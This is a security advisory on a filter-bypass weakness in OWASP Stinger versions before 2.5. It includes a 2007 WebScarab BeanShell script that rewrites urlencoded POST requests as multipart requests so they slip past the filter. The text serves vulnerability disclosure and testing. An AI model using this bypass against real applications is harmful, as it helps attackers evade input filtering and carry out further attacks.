source: https://www.securityfocus.com/bid/25294/info OWASP Stinger is prone to a filter-bypass weakness because the application fails to properly handle certain input. Since the OWASP Stinger project is a software module designed to be incorporated into other applications, this weakness may be exploitable only if applications use it in a vulnerable way. Successfully exploiting this issue may allow attackers to bypass the filter, aiding them in further attacks. Versions prior to Stinger 2.5 are vulnerable to this issue. /* * Multipartify.java - Quick and dirty BeanShell for WebScarab to * convert urlencoded POST HTTP requests to multipart requests. * * Copyright (C) 2007 Meder Kydyraliev * * http://o0o.nu/~meder * */ import org.owasp.webscarab.model.Request; import org.owasp.webscarab.model.Response; import org.owasp.webscarab.httpclient.HTTPClient; import org.owasp.webscarab.model.NamedValue; import org.owasp.webscarab.model.MultiPartContent; import java.io.IOException; public Response fetchResponse(HTTPClient nextPlugin, Request request) throws IOException { private static final String contentType = "multipart/form-data; boundary=o0oo0oo0oo0oo0oo0oo0o"; private static final String boundary= "\r\n--o0oo0oo0oo0oo0oo0oo0o"; private static final String contentDisp= "\r\nContent-Disposition: form-data; name="; if (request.getMethod().equals("POST") && request.getContent() != null) { String body = new String(request.getContent()); StringBuffer newBody = new StringBuffer(); NamedValue[] postParams = NamedValue.splitNamedValues(body, "&", "="); for (int ix=0; ix < postParams.length; ix++) { newBody.append(boundary + contentDisp + "\"" + postParams[ix].getName() + "\"\r\n\r\n" + postParams[ix].getValue() + " "); } newBody.append(boundary + "--\r\n"); request.setHeader("Content-Type", contentType); request.setContent(newBody.substring(2).getBytes()); } response = nextPlugin.fetchResponse(request); return response; }